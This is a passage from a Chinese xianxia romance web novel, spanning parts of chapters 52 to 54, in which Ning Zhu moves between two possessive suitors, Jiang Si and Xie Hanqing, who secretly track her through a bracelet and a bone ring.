江似拒绝得很干脆:“等事成,天玑山的禁制不算什么,我随时都可以来找你。” 宁竹无奈道:“好吧。” “但归墟马上就要开启,我会很忙,即使你来找我,我也不一定有空。” “我不会打扰你。” “你要修炼,我在旁边陪着就是。” 他似乎在认真思索:“还可以帮你梳理灵力,帮你快些修炼。” “至于你筹备那些法器和灵丹……” 他本想叫她别瞎鼓捣了,等着自己准备,但话头一转,变成了:“有哪些搞不定的,你告诉我,我去帮你找。” 宁竹眼眸一亮。 还真有。 让他帮忙梳理灵力就不必了,找找东西还是可以。 宁竹现在也算是知道,这人得顺毛捋,于是她笑盈盈说:“好呀,那就麻烦你啦。” 将正事说完,宁竹频频抬头看向天色。 江似觉察到她的动作,漫不经心问:“有什么事吗?” 宁竹哪敢告诉他自己还要回去给谢寒卿煎药,只得含糊道:“跟人约好了今晚要交付剑穗。” 江似淡声说:“不去珠玑阁交易?” “是那位师姐自己提供的材料,我收个手工费。” “哦。” 江似很善解人意说:“那你快回去吧。” 宁竹问他:“你要走了吗?” 嗯,制作傀儡那么耗时间,他已经耽搁了很久了。 但话出口,却变成了:“既然你好心为我准备了宅院,那就勉为其难呆一晚。” “办完事早点回来,陪我用个早膳。” 宁竹心里估算着时间,来得及。 于是她欣然点头:“我会早点回来。” 她的眼神又飘到里屋。 江似气笑了:“我是有病么?犯得着要对那呆子动手?” 宁竹忙顺毛捋:“当然不是,无烬他……有点木讷,你们还是别碰面的好。” 江似暗自磨了下牙:“成,反正有的是屋子,我去别的屋。” 他转身挑了个离无烬最远的房间,砰一下关上了门。 宁竹知道他有点生气,但眼下却是顾不得那么多了。 匆匆给无烬送了个传音符过去,解释了下今晚的状况,让他理解一下,宁竹跳上飞剑离开。 宅院中,无烬依然立在门口,他静静听完那道传音符,缓缓盘腿坐下,低垂着头,不知道在想些什么。 另一边的屋子一片空荡,江似并不在其中。 他脚踏层云,衣袂飘舞,黢黑幽深的眼盯着远处的宁竹。 下一刻,一缕神识飘飘荡荡散在风中,附着在宁竹手腕的拘银链上。 江似瞥了一眼下方的的宅院。 透过窗棂,看得见无烬盘腿坐在地上,一动不动。 江似冷笑一声。 现在他没功夫浪费时间,等他把正事办完再说。 雾气被搅动。 江似凭空消失,出现在魔宫地底。 在那里,一具半成品与宁竹的傀儡并排放置。 江似走过去,拿起架上的刻刀,继续开始雕琢“江似”。 悬挂在天际的月一点点变得明亮。 宁竹飞快穿梭在云层中,径直往攀云峰赶去。 好在她提前赶到了半地莲花田,在月华最浓烈时取下了需要的花瓣。 宁竹长呼一口气,感叹自己可真是个时间管理大师。 她拿着半地莲往无咎洞府走去。 无咎洞府。 门扉大敞,鹤骨松姿的小仙君趺坐在地,长睫微垂,墨发逶迤。 月色如霜,凝结在他剔透冷淡的眼瞳中。 夜风穿堂而过,鼓动着他如鹤翅的袖袍。 若非小仙君的胸膛在微微起伏,倒真的好似一尊琉璃雕像。 谢寒卿不知在此处坐了多久。 月升日落,星河倒转,天玑山万重山峦亮起星火点点。 忽有细微的脚步声响起。 谢寒卿抬起眼帘。 竹影婆娑,月色阑珊,一道纤细幽微的影出现在甬道尽头。 地上落叶被气流卷动,纷飞四起。 宁竹忽然被结结实实抱住。 专门拿来装半地莲的乾坤袋掉落在地,宁竹愕然瞪大眼:“……谢,谢师兄?” 少年仙君宽大的道袍如同蝶翼覆在她背脊之上。 他身上很凉,缭绕在鼻尖的冷香便也如同浸了积雪一般,激得人微微颤栗。 他抱得太紧。 宁竹几乎不能呼吸。 少女抬起手,抵在少年坚硬的肩上,带着气音唤:“那个,谢师兄,我……” 谢寒卿忽然被一股巨大的力击中腹部。 如同落叶,从宁竹身上轻飘飘滑开。 也便是那一瞬,滂沱剑意涤荡而出,击打在宁竹手腕的拘银链上。 “铮——” 谢寒卿单膝跪在地上,呕出一口乌黑的血来。 与此同时。 魔宫中,江似单手抓握着刻刀,掌心淅淅沥沥滴下血来。 被人生生碾碎一缕神识,他眼前发黑,后脑处传来一阵阵尖锐的刺痛。 刻刀几乎陷在他的指掌之中。 江似眼前一遍遍重复着两人相拥的画面,眸中翻涌着滔天恨意。 他一点点舔掉唇角的血,跌跌撞撞走到傀儡旁边。 沾了血的指尖轻抚傀儡的脸。 他偏了偏头。 ……宁竹不能留在天玑山。 明天,明天他就要把她带回来。 让她永远陪在自己身边。 无咎洞府。 宁竹吓得脸色大变,忙扑到谢寒卿身旁:“谢师兄!谢师兄你怎么样……” 小仙君面色苍白,唇边血渍星星点点,剔透的眼瞳一动不动盯着她手上的拘银链。 宁竹被他看得毛骨悚然,下意识用宽大的袖角遮住拘银链。 谢寒卿却伸出指尖,捉住了她的手腕。 他的指尖很冰,犹如冰琢雪刻,叫宁竹生出瑟缩之意。 宁竹想躲,但谢寒卿力气很大,叫她手腕都泛出淡淡的红。 他挑开她的衣袖,目光凝固在那条手链上。 通体银色,像一条首尾衔接的小蛇,头部还有一对黑曜石一般的眼睛。 谢寒卿微微摩挲着拘银链:“这条手链,之前没见宁师妹戴过。” 宁竹愧疚不已,又不敢供出江似,只能瞎诌:“嗯,我去魔域之前买的防御法器,可能不太灵光了,对不起,方才误伤了谢师兄……” 谢寒卿垂眸。 冰凉如水的银链发出细碎的声响。 灵力灌注其中,却无法撼动其分毫。 谢寒卿的指尖停留在她手腕上。 隔着薄薄一层皮肤,脉搏在有力跳动。 宁竹缩了下手:“谢师兄?” 小仙君垂着浓密纤长的眼睫,哑声说:“宁师妹去魔域,是为了寻人么?” 宁竹抿了下唇,干巴巴说:“……是想去找一个朋友,但没找到。” 她下意识不想让他知道江似还活着的事。 至于无烬,她已经请求他帮自己隐瞒见过江似的事情。 无烬如今乃是凡人之躯,凡人之 躯承受不住搜神术,谢寒卿应当不会轻易对他使用。 总归江似魂灯已灭。 若非她看过原著,也断断不会猜测江似还活着。 谢寒卿似乎没对她的话生疑。 他只是淡淡说:“是么。” 墨竹潇潇,花枝冷艳,谢寒卿的墨发在风中飞舞,有些凌乱。 小仙君衣襟上还沾着血,不复平日里那般光风霁月的模样。 宁竹到底是有些心软。 她扶起谢寒卿:“谢师兄,你伤得重吗?要不要去太素阁看看。” 至于她手上这条链子…… 她转头就去问问江似,又在这链子里动了什么手脚,怎么还敌我不分呢! 谢寒卿的目光垂落在她身上。 江似,魔尊弃苍。 这两个人之间……到底是什么关系。 为什么方才他在拘银链中感应到弃苍的气息。 谢寒卿听到自己问:“宁师妹以前认识魔尊吗?” 宁竹眼眸中露出毫不掩饰的厌恶:“不认识。” 想到魔宫那具跟她长得一模一样的傀儡,宁竹鸡皮疙瘩掉了一地,她怎么会认识那种死变态! 谢寒卿观察着她的表情,冷不丁开口:“宁师妹可知,弃苍在魔宫地底藏有一具傀儡。” “那傀儡,与你生的别无二般。” 宁竹气得脸颊都涨红:“谢师兄也看到了吧……” “宁师妹可有想过,弃苍或许很早就认识你。” 宁竹愣了下。 旋即头摇得跟拨浪鼓一般:“不可能,绝对不可能。” 她在被那死变态抓到魔宫之前,跟魔修一点交集也没有,怎么可能会认识魔尊…… 不对,如果硬要算的话…… 江似能运用魔气,勉强也算半个魔修? 谢师兄是想说……江似有可能是魔尊? 江似?魔尊? 宁竹没憋住,露出一个难以置信的表情。 谢寒卿淡淡望着她。 宁竹咳了下:“听说弃苍随魔渊而生,乃是天生邪魔之体。” 而江似……想起他动不动怪病发作,只剩下半条命的凄惨模样,宁竹就忍不住摇头。 这两人,绝不可能是一个人。 宁竹暗示:“天生邪魔之体,不可能修炼出修士灵根,混入天玑山修炼。” 她干巴巴笑两声:“我此前自然不可能认识弃苍。” 谢寒卿颔首:“师妹说的有道理。” 天生邪魔之体,又怎么可能有修士的灵根呢? 宁竹还挂念着煎药的事,她捡起装着半地莲的袋子:“谢师兄,若是没有事,你先回去歇息,我去给你煎药。” 半地莲采摘之后,两刻钟香变,半个时辰色变,会影响药效的。 谢寒卿昨天就没喝上药了,今天不能再出差错。 宁竹拿着袋子,很快跑远。 谢寒卿立在原地,看着她的背影消失在拐角处,抛出怀卿剑。 乘明塔高耸入云,保存着历代弟子的魂灯。 已至夤夜,看守弟子抱着剑靠在柱子上昏昏欲睡,忽然惊醒:“何人?!” 月华浓重,小仙君白衣落拓,袖角的青莲流云纹在风中微微摇曳。 看守弟子忙行礼:“谢师兄。” 谢寒卿出示自己的弟子腰牌。 看守弟子接过去查验,笑着说:“那么晚了,谢师兄怎么会来乘明塔。” “有点事需要确认。” 弟子忙打开门,引着谢寒卿进塔:“下五层楼乃是在世弟子的魂灯,第六楼开始便是已故弟子的魂灯,谢师兄要查看谁的魂灯,我帮您……” 谢寒卿淡淡颔首。 这弟子也是个机灵人,看出来谢寒卿不想被人打扰,忙说:“谢师兄慢慢看,有吩咐就叫我。” 他退出门去,还贴心地把门带上。 塔中灯火璨璨,如同烂漫星河。 谢寒卿眸光掠过,一眼看到了宁竹的魂灯,放在角落,发出一簇幽微的光。 他拾阶而上。 一直到第六层。 空气骤然变得阴冷,暗色无边,无数已故弟子的魂灯寂灭此处。 谢寒卿指尖一点,一盏魂灯飘浮到面前。 魂灯上镌刻着“江似”两个字。 谢寒卿凝视着那两个字,片刻后,他的眼瞳微微变红。 无数颜色各异的气体交织在一起,但没有江似的。 亡故者的气息会逐渐淡去。 秘境试炼已数月,江似如若真的身陨,气息的确应该已经湮灭。 谢寒卿盯着魂灯沉思片刻,又从乾坤袋取出一件小衣。 属于宁竹的粉色纠缠于其上,但循着踪迹一路往外弥漫,却再度被人为截断。 气息能掩盖,假死亦可托生,譬如早已失传的夺舍之术。 魂灯,就一定准确么? 谢寒卿将魂灯放回原处,足下无声下了楼。 他的目光停驻在宁竹的魂灯上。 现在更棘手的事情,是那枚拘银链。 小仙君的眉头微微蹙起,似乎想到什么,长眉又一点点舒展开。 这一晚总算是平安无事,宁竹在天色蒙蒙亮起时,将药端给了谢寒卿,监督着谢寒卿喝下。 不知是不是错觉,谢寒卿服药之后,面上似乎都有了几分血色。 宁竹放下来,打着哈欠:“谢师兄,那你好好休息,我也回去睡觉了。” 谢寒卿垂眸:“嗯,辛苦师妹了。” 他的目光落在她纤细的指骨上,也忽然注意到她空空荡荡的手腕。 片刻后,他忽然发问:“那枚玉镯呢?” “凤和白玉簪改的那枚玉镯。” 那个啊。 当时进入魔域,怕那样的好东西太惹眼,宁竹便摘了下来放在洞府了。 宁竹随口说:“在洞府放着呢。” 谢寒卿点了下头,眸底有暗色翻滚。 ……看来要施加一个法诀,让她永远也取不下来。 宁竹没察觉到,她揉了揉眼睛:“我走啦。” 她合上门,抛出飞剑,往幽冥集市赶去。 晨风清冽,宁竹睁着呆滞无神的眼立在飞剑上。 好困。 好想睡觉。 嗯,陪江似用完早膳,她就回去大睡特睡! 屋子里还弥漫着清苦药味。 谢寒卿起身,去了灵池。 半个时辰后,小仙君带着一身沐浴后的水汽回到屋中。 他布下结界,趺坐在地,一头墨发未束,如同水墨蜿蜒。 谢寒卿的眉眼还带着几分湿,冰消雪融,瞳孔显出几分幽黑之感。 小仙君垂眸。 室内无风,衣角却开始鼓动。 谢寒卿背脊处泛出淡淡的金光,如同烈日化为鎏金,沿着他的脊骨流淌。 谢寒卿指尖扬起,长剑飞旋,对准脊骨。 仿佛觉察到主人的意图,怀卿剑显出几分犹豫,剑身发出细细的嗡鸣。 小仙君眼瞳淡漠幽静,仔细窥去,却如同冰封万里的长河,河底波涛汹涌。 怀卿剑对准他的脊骨,一点点往下压。 剑身颤抖,仿佛在发出哀鸣。 谢寒卿表情不动,瞳孔愈发幽黑。 鼻尖渗出细汗,他的面色慢慢变得像雪一样苍白。 硬物摩擦,发出森然之声。 殷红的血融进鎏金般的日光中,滴答,滴答坠落在地。 谢寒卿眼前一片模糊。 分明是早晨,熹微的晨光却慢慢化作月色,窗外那枚火红的太阳亦变成清冷的月亮。 血腥味弥漫开。 谢寒卿耳边忽然传来少女带着泣音的呼唤:“再坚持一下,别死啊,马上就要到了。” 马上……就要好了。 怀卿剑在哀泣。 小仙君的瞳孔微微涣散。 一刻钟后,一枚形状漂亮,色泽几近透明的骨圈飞到谢寒卿面前。 谢寒卿缓缓摊开手掌。 指尖微颤,将骨圈攥住。 旋即不省人事倒在了地上。 第53章 宁竹带着一身晨霜降落在宅院中。 庭院中静悄悄一片, 芭蕉翠绿的叶上露珠滚圆。 宁竹先到无烬的房间外敲了敲门。 片刻后,无烬闷闷的声音响起:“有事吗?” 宁竹小声说:“是我。” 房门打开了。 无烬眼底泛着淡淡的青,一看就没休息好。 但看见宁竹,他脸上露出笑意:“你来了。” 宁竹把打包好的早膳递给他:“很有名的一家小笼包, 也不知道你爱吃荤的还是素的, 我给你一样带了一点, 喏, 还有豆浆。” 无烬沉默片刻, 接过去。 包子热气腾腾, 白雾缥缈, 尚有些凉意的早晨握在手心,温暖熨帖。 无烬已经忘了多久没吃过包子了。 他手指微微攥紧袋子:“都爱吃。” 宁竹笑盈盈说:“那就好。” “我和我朋友还有事, 一会儿会出门,等中午逍遥食铺开门了, 我去和掌柜说一声, 你之后要是想吃饭直接去他那里便行,账记在我头上。” 宁竹朝他摆摆手,转身离开。 “宁……” 声音哑在喉头。 无烬本想告诉她,他可以不用吃饭的, 不必浪费这些钱。 又想跟她说,自己应该很快就会离开这里…… 但到末了,他什么也没说,只是垂眸看着自己身上簇新的衣裳。 这是宁竹给他买的。 无烬的指尖一点点蜷起,有些狼狈地转身进了门。 他现在……什么也没有, 又如何报答她。 宁竹敲响了江似的门。 一声,两声。 无人回应。 “江似?我来了,我们去用早膳吧?” 依然无人回应。 宁竹狐疑地握上门环。 门忽然被拉开, 宁竹没站稳,险些栽倒在江似怀中。 电光火石间她胡乱伸手往江似身上一抓,勉强站稳身子。 再一看,江似的腰带都被她抓得松松散散。 她尴尬地放开手,尬笑:“那个,你想吃什么?” 宁竹没有注意到,少年低垂着眼,周身气息比往日更加阴沉。 片刻后,江似沙哑的声音响起:“都行。” 宁竹这才注意到江似嗓子哑得不像话,她蹙眉:“你嗓子怎么那么哑,是不舒服吗?” 这一抬头,才发现少年的脸色透着一种纸一样的苍白,两只眼睛洞黑幽深,有种渗人的意味。 宁竹抬手,手背贴在他额头上。 滚烫的温度惊得宁竹眼睛都瞪圆了:“你在发热!” 修士鲜少发热,宁竹觉得大事不妙,忙拉着江似坐下,捋起他的袖子。 昨日缠好的绷带已经隐隐渗出血来。 宁竹将绷带解开,那道深可见骨的伤痕变成了一种糜艳的颜色,像灵力运转不畅,经络受阻时生出的热毒。 热毒若是不拔除,会致伤势反复。 昨天不都还好好的吗?怎么会生了热毒? 宁竹一个头两个大,拿出乾坤袋翻找,取出几枚对症的丹药:“江似,你把这个吃掉,我给你重新处理下伤口。” 江似却捉住她的手腕:“宁竹,我饿了。” “不是说好今天要一起去吃早膳么?” 宁竹:“可是……” “放心,死不了。”他慢条斯理将腰带重新绑好,拿过丹药吞掉:“昨晚没休息好而已,一会儿就好了。” 他率先出门,立在门口回头看她:“走啊。” 宁竹只好跟上去,给他的伤口抛了个止血诀:“吃完就回来处理啊。” 晨光熹微,少女的发丝被阳光渡上一层金黄色泽,纤细的睫毛亦笼罩着一圈漂亮的光弧。 她抬眸看他,眉头稍稍蹙起:“热毒可不能大意……” 她后面在说什么,江似已经听不见了。 少女的瞳孔中盛满了金黄的光,瞳色变成了好看的琥珀色,剔透又幽深。 ……可惜,他寻遍各处,也只找到一对金珀石勉强与她的瞳色相近。 到底是不如她的眼睛好看。 “宁竹,你怕疼么。” 宁竹话音一顿,她不明白江似为什么会问这么一个没头没脑的问题,但还是下意识回答:“怕的。” 她小声嘟囔了下:“谁不怕疼。” 她最怕疼了。 奶奶说小时候带她去打针,别的小孩哄一哄喂颗糖,很快就不哭了。 她从抱进诊所开始,便哭得惊天动地,打针时需要三个大人齐心协力按住她,打完之后她还能绵延不绝哭上俩小时,路人都不忍心过来问奶奶:“这孩子是怎么啦?” 宁竹回想起自己的黑历史,忙甩甩头:“当然现在好多了。” 修士锻体,忍痛能力也会得到提升,现在打针她一定不会怕疼。 嗨,想那么多干嘛,这是在修真界,可没有针能打。 宁竹问:“为什么想起问这个?” 江似忽然抬手,很轻很轻地碰了下她的脑袋:“嗯,我知道了。” 宁竹:? 宁竹狐疑地看他一眼,甩甩脑袋:“想吃什么,我请你。” 江似沉吟片刻:“馄饨,大榕树旁边那家。” 这她熟,以前她总去这里吃馄饨! “好呀!我也好久没去吃了!” 待到大榕树下,宁竹发现铺子门竟是关上的。 魔渊开口后,修真界一片混乱,大宗门的修士都人人自危,更何况散修和凡人。 各个集市都萧条不少。 宁竹有点遗憾:“好像关门了,要不我们换一家?” 话音落,有个老婆婆小心翼翼推开窗:“客官要吃馄饨?” 宁竹吓了一跳,扭头一看,的确是店家老婆婆。 她和江似对视一眼,点头:“婆婆,今日还卖吗?” 老婆婆认出宁竹,笑道:“丫头,原来是你啊。” “我记着之前你常来幽冥集市卖些东西,许久没看见你了。” 她又注意到宁竹身后的江似,诶了一声:“这孩子之前不是在那边摆摊吗?” 老婆婆说:“孩子,快进来吧。” 她颤颤悠悠推开门。 宁竹这才看清,店里零零散散还有几个食客。 她奇怪道:“婆婆怎么不开门?” 老婆婆坐到沸腾的大锅边,将白胖整齐的馄饨倒入水中,笑着说:“魔修神出鬼没,老婆子没本事应付,只好小心点了。” 她指了指屋角挂的法器:“我孙儿给我寻来这些法器,只要小心些,还是能抵挡一时的。” 宁竹见过老婆婆的孙子,他十几年前拜入了轩辕宗,只是忙于修炼,很少回来。 很快热气腾腾的馄饨好了,汤色鲜亮,绿油油的葱花飘荡着,宁竹往里加了一勺辣椒油推给江似,问老婆婆:“婆婆怎么不去投奔您孙儿?” 特殊时期,除了加强巡查,力求保护辖地凡人外,各个宗门都在宗门附近开辟了庇护所,修士们还在世的亲人,或是一些流离失所的凡人都可以住在庇护所。 老婆婆笑了笑:“老骨头一把了,舍不下这店。” “婆婆,再来一碗打包!” “诶,马上——” 老婆婆很快去忙了。 宁竹用勺子搅动着汤上的油花,沉默不语。 离开时,宁竹给老婆婆塞了一只不起眼的簪子:“婆婆,这簪子送你,是个防御法器。” 如果魔修真的盯上这铺子,或可抵挡一时,希望……能拖到婆婆的孙儿来救人吧。 江似抱着手站在宁竹身后。 老婆婆忙将簪子推回去:“如今这世道不容易,你们两个孩子在一起要照应好彼此……这簪子你们留着防身,我不能收。” 宁竹愣了下,大窘:“婆婆,我们不是……” 话还没说完,婆婆在围裙上擦了擦手,弯腰到橱柜中找了找,拿出来一枚漂亮的红色绒花。 她递给宁竹:“丫头,送给你。” “别嫌弃,是以前给我孙儿编的,原本想着给他喜欢的姑娘,但那姑娘……” 她叹了口气,道:“材料是我孙儿特地寻来的,听说叫什么……” “寄月藤。”一直没说话的江似开口。 “两株伴生,同生共灭,所以也叫情人藤。” “对对对,就是这个什么藤。”老婆婆说:“送给你们。” 宁竹脸颊发红,想要解释,又觉得老人家一片好心, 一时进退两难。 江似接过那朵绒花,塞到宁竹手中,大大方方说:“婆婆,我给你画几张符,贴在屋里,魔修不会扰你。” 旁边的食客投来怀疑的眼神。 哪有那么好的符箓,他们怎么不知道? 江似已经召出几张空白符箓,割破指尖,在半空中画符。 很快几张符箓飞到屋子横梁处,牢牢贴了上去。 江似道:“好了。” 老婆婆笑吟吟说:“多谢小仙君了。” “祝你们恩爱长久啊……” 江似和宁竹在一众人等怀疑的目光中离开了馄饨店。 宁竹小声对江似说:“要不我还是偷偷在这里布置一个防御法器吧?” 江似垂眸,一言不发看着她。 宁竹有点尴尬:“嗯……锦上添花嘛。” 少年短促地笑了一声,他说:“低头。” “啊?” “低头。” 宁竹从善如流,稍稍低下头来。 江似将那朵绒花插到了她头发里。 少女发髻蓬松柔软,漂亮的绒花斜斜插在发间,有种娇憨的美感。 江似盯着绒花看:“宁竹。” “嗯?” “能再陪我用一顿晚膳么?” “我想吃东边那家鱼脍。” 宁竹抬起指尖摸了下髻间的绒花,问:“你不着急回去吗?” “不着急了。” 宁竹欣然应允:“好呀,但是我晚上还有事,陪你用完晚膳就要回天玑山。” “……好。” 用完馄饨,两人无所事事在幽冥集市晃荡。 昔日熙熙攘攘,人流络绎不绝的幽冥集市,如今一片萧条。 宁竹有点感慨:“想想以前为了争一个摊位,大家还要大打出手。” 她的目光从那些无人的摊位上划过:“我记得你在那里摆过摊是不是?” 江似随她看去:“嗯。” 又走了一段,宁竹忽然说:“我记得我在这里被人偷过东西。” 她偏头想了下:“那个小孩只有一只眼睛。” 江似掀起眼帘。 沉默片刻,他开口说:“他已经死了。” “……我知道。”宁竹的回答出乎意料。 “那次我来幽冥集市卖兽甲,听人说水沟里有只死妖。” “好像是只有一只眼睛的狐妖,被人剥了皮,还被秃鹫啄得七零八落,骨架都露出来了。” “幽冥集市死人很常见,但不知道为什么,那天我忽然想起了那个只有一只眼睛的小孩。” “我循着路人指的方向找到了那只妖,有小孩在旁边哭。” 宁竹有点难过:“那只妖……的确是他。” “然后呢?”江似冷不丁问。 “我把他埋了。”宁竹指了指西边那片桃林:“就在那边。” 她慢吞吞叹了口气:“都是可怜人。” “为什么要对他那么好?”江似忽然问她。 少年偏头,侧脸沐浴在浅淡天光下,线条锐利。 宁竹眨巴了下眼……这叫好吗? 路过看见死掉的小猫小狗,正常人都会不忍心,何况那是一个小孩。 不过宁竹转瞬想到,这是在修真界,不是在种花家。 修真界的人……肯定不像种花人有那么高的道德感。 于是她说:“顺手而为的事情,也不费力。” 江似洞黑幽深的眼盯着她。 是么。 所以无论是救他,还是救无烬……都是顺手而为。 宁竹已经蹦蹦跳跳往前:“江似!那家卖尖叫糖画的摊子还在!我们去吃那个!” 江似立在原地,盯着她的背影。 待到事成,她便能日日夜夜待在他身边。 不会再分给旁人多余的情感。 她……将会彻彻底底归属于自己。 不是么? 江似用目光贪婪地描摹着她的背影。 一寸一寸,似要透过皮肉,抚摸她的骨血。 宁竹忽然回头。 江似有些慌乱地挪开视线。 宁竹笑着摇了摇手中的糖画:“江似!你要什么口味的?” 她笑意盈盈,眼角弯出一道好看的弧度,鬓边的绒花色泽灼灼。 如此鲜活,美好。 蜷在身后的手指缓缓收紧。 江似再一次想起魔宫地底的那具傀儡。 精致,完美。 却无比冰冷。 两人坐在河边吃糖画。 已是春日,莺飞草长,河道两侧花树盛开,风都带着暖意。 他们挑了块大青石坐下,看着白云悠悠,河水奔流。 糖画快要吃完的时候,宁竹收到了一枚传音符。 她只瞥了一眼,吓得咔嚓一声咬掉最后一口糖画,忙将传音符握到了手中。 宁竹有些心虚地瞥了江似一眼。 好在江似一直有点心不在焉。 是谢寒卿递来的传音符。 宁竹偷偷抛了个法诀,传音符转化成文字。 谢寒卿让她去无咎洞府一趟。 她心里一惊。 谢寒卿不是多事之人,此时唤她回去,定然是有要事。 宁竹坐不住了。 她小心翼翼看江似一眼:“江似,我忽然想起来今天还要给珠玑阁送个东西,我先回去一趟,一会儿再来陪你用晚膳?” 江似只是偏头看了她一眼:“好啊。” 宁竹把方才买的一些小零嘴放到他旁边:“那我先走啦,马上回来。” 江似懒洋洋点了下头。 宁竹抛出流烟剑,很快消失在半空中。 江似低头,看着身侧散开的各式小零嘴,随手拿起一枚花米糕,力度大了点,糕点很快碎为白色的粉末,落了他满身。 江似啧了一声,甩甩手站起身。 他挥袖一扫,将小零嘴笼入乾坤袋中,凭空消失。 宁竹降落在无咎洞府外。 她脚步匆匆,沿着竹径一路小跑。 檐角晶莹剔透的风灯微微摇晃,屋门大敞,谢寒卿趺坐在条案前侍弄一株桃花,容姿高彻,白衣如雪。 宁竹气喘吁吁扶着门框停下:“谢师兄。” 谢寒卿抬眸。 不知是不是宁竹的错觉,谢寒卿的脸色似乎更加苍白了。 几乎泛起透明。 她蹙眉:“谢师兄可是哪里不舒服?” 谢寒卿放下银剪,抬眸看她:“无碍。” 宁竹坐到条案对面,露出几分犹豫之色:“谢师兄,你脸色不大好,要不……我们去太素阁看看吧?” 谢寒卿只是朝她摊开手。 他的手生得很好看,纤长白皙,骨肉匀停。 他声音有点哑:“宁师妹,手给我。” 宁竹愣了下,将手递了过去。 谢寒卿轻轻牵住了她的手。 他不知什么时候拿出一枚晶莹如玉的骨戒,宁竹还没来得及反应,谢寒卿便已经将那枚骨戒套在了她的小指上。 触感生凉,又温润如玉,纤细晶莹的戒圈如同一道漂亮的光弧环在她指骨上。 宁竹吓了一跳,下意识就要将骨戒摘掉! 谢寒卿掌下微微用力阻止她的动作,眼瞳中……竟含了点委屈。 宁竹一僵。 等等,冷静,这是在修真界,戒指一般都是当做法器来用,不是她世界里的那个意思。 谢寒卿轻声说:“魔渊开口,魔修暴动,天下不太平,修士随时随地都可能会被魔气侵染。” “此物可抵挡渡劫修士一击,佩戴后妖魔不敢近身。” 宁竹的眼眸蓦然瞪大。 什,什么?可抵挡渡劫期修士一击?? 就连顶级防御法器都做不到吧! 宁竹立刻说:“谢师兄,这太贵重了!我不能要!” 她抬手去褪戒指,用力一拔,没拔动。 宁竹:? 她又使了点力气,再拔。 骨戒依然纹丝不动撼在她手上。 宁竹额头冒了汗,这显得她很不诚心啊!! 她抬手还要再试,谢寒卿的声音响起:“宁师妹,若非我来取,是取不下来的。” 宁竹的眼神飘落在另一只手腕的拘银链上。 不是,你们都是从哪找来那么多奇奇怪怪的东西啊? 小仙君用那双清凌凌的眼看着她,“……宁师妹就那么不愿意要我 的东西么。” 宁竹坐如针毡,几乎都有些不敢看谢寒卿的眼睛,她喃喃:“没有……” “那就戴着它吧。” 谢寒卿沉默片刻:“有它在,我会安心些。” 宁竹还欲说话,谢寒卿却垂下眼:“我累了。” 小仙君眼睫敛起,唇抿得很紧。 谢寒卿此人,情绪鲜少外露,更何况这般直白地逐客。 他今日没有束那根天玄离尘带,只一根桃木簪松松插在发间,墨发凌乱散落在肩头,尾端打着卷儿……看上去莫名有几分委屈。 就有点像……被欺负的猫猫。 宁竹叹了一口气,慢吞吞起身,看他一眼。 谢寒卿姿势未变,一动不动坐在条案前。 宁竹往外走去。 起了风,清风摇动檐下风灯,清越之声不绝于耳。 宁竹转身,将门扉掩上。 天光被遮挡在门外,少女的身形也淡去,谢寒卿垂在膝头的手一点点攥紧。 片刻后,小仙君面无表情拿起银剪,继续侍弄桌案上的那株桃花。 没关系,她收下了便好。 只要她带着那枚骨戒,就算是魔尊出手,也不会那么轻易伤到她。 更重要的是…… 谢寒卿闭上眼,通过骨戒感应着宁竹的位置。 宁竹在往山下去。 她要离开这里了。 谢寒卿手中银剪忽然划破了手指,血珠殷红,一点点渗出。 小仙君盯着指尖,一动不动。 日渐西斜。 宁竹抬起手。 阳光带了点儿暖调,打在那枚骨戒上,折射出一种瑰丽的光泽。 骨戒莹润,像是圈了一抹月华在其中。 真好看啊。 宁竹伸出指尖摩挲了下,猜测这是什么妖兽的骨头制成的。 云鲸骨?麒炎兽? 都不像。 许是她没见识,想了一圈都想不到有什么妖兽的骨头能漂亮成这样。 她摩挲了下戒指,叹了口气。 无咎洞府地处天玑山主峰群,地势清幽,加之谢寒卿是个冷清的性子,平日里几乎无人来此地走动。 谢寒卿独自一人坐在条案前,仿佛时光亘古,流云也停驻。 梅瓶中桃花没有灵力维护,有些焉了。 谢寒卿一动不动盯着梅瓶,好似这样才能感受到一点时间的流逝。 日色渐渐变得昏黄,几缕日光从窗棂间斜斜落下,尘埃在其中飞舞。 门扉忽然被人叩响。 谢寒卿机械开口:“进。” 那人推开门的一瞬,所有感官都回笼,谢寒卿猛然抬头。 少女端着一只托盘,笑盈盈立在西斜的日色中。 远山苍茫,飞鸟成群,她逆光而立,衣角被渡上一层鎏金般的光。 光影分割,所有暗色都垂落在她脚下。 宁竹忽然动了,她轻巧地踏进暗色中,端着托盘朝他走来:“谢师兄,山脚桃花开得正盛,我做了桃花羹。” “用冰湃过,凉丝丝的,很好吃呢。” 她将桃花羹放下,把银匙塞到他手中,杏眼含笑。 谢寒卿的目光落在骨戒上。 他的骨,圈着她的指,浑然一体,仿佛天生便该这般。 唇角慢慢扬起一点弧度。 谢寒卿接过银匙。 宁竹见他抓着银匙发呆,忍不住笑:“吃啊。” 他从善如流,舀起一勺桃花羹。 甜的,像是浸了雪的花。 “很好吃,宁师妹……可以再给我做吗?” 宁竹松了一口气,雀跃道:“当然啦!我修为不精,但鼓捣吃食也还算有几分门道。” “桃花羹就得春天吃,桃花谢了就吃不到了,不过等结了桃子,可以做蜜桃酥山!或是晒干了做蜜桃茶,桃肉清甜,茶叶回甘,也是用冰湃,夏天的时候喝最是解暑……” 少女坐在他身旁,如同一只欢快的雀儿,眉眼温软,话里带笑。 谢寒卿一动不动看着她。 可惜。 可惜她也会对旁人这般笑,会这般关心旁人…… 想要她只对自己笑。 想要她……只属于自己。 宁竹没有注意到,小仙君那双淡若琉璃的眼在微微变深。 情绪鲜少外泄的眼眸,渐渐被偏执占据。 宁竹忽然拍了下桌案:“哎呀我想起来了,我刚才还看见山脚长着新鲜的荠菜……” “荠菜鲜嫩,用来包馄饨最好,明天我去采桃花时也采一些荠菜回来吧!” 要耐心。 不能吓到她。 谢寒卿垂眸,再度舀起一勺桃花羹,银匙送入口中,缓缓咽下。 他露出一个恰到好处的微笑:“好。”—— 作者有话说:宁宁:今天也是时间管理大师! 第54章 与此同时, 魔域。 白晚的寝殿外,烈焰花灼灼盛开,森然的宫殿因为这些植物少了一分冰冷。 白晚坐在水镜前,轻抚发髻。 发型仿照的是修真界那些女修喜欢的样式, 前些时日她偷偷溜到南陵看过。 只是梳完后, 白晚总觉得哪里怪怪的。 她思索片刻, 从妆奁里取出了宁竹送她的那朵烈焰绒花。 将绒花簪入发鬓, 水镜中倒映出的人终于像她了。 堂堂幽冥鬼母, 就该这般风华美艳。 宁竹手艺很好, 烈焰绒花栩栩如生, 花蕊金黄,花瓣灼灼, 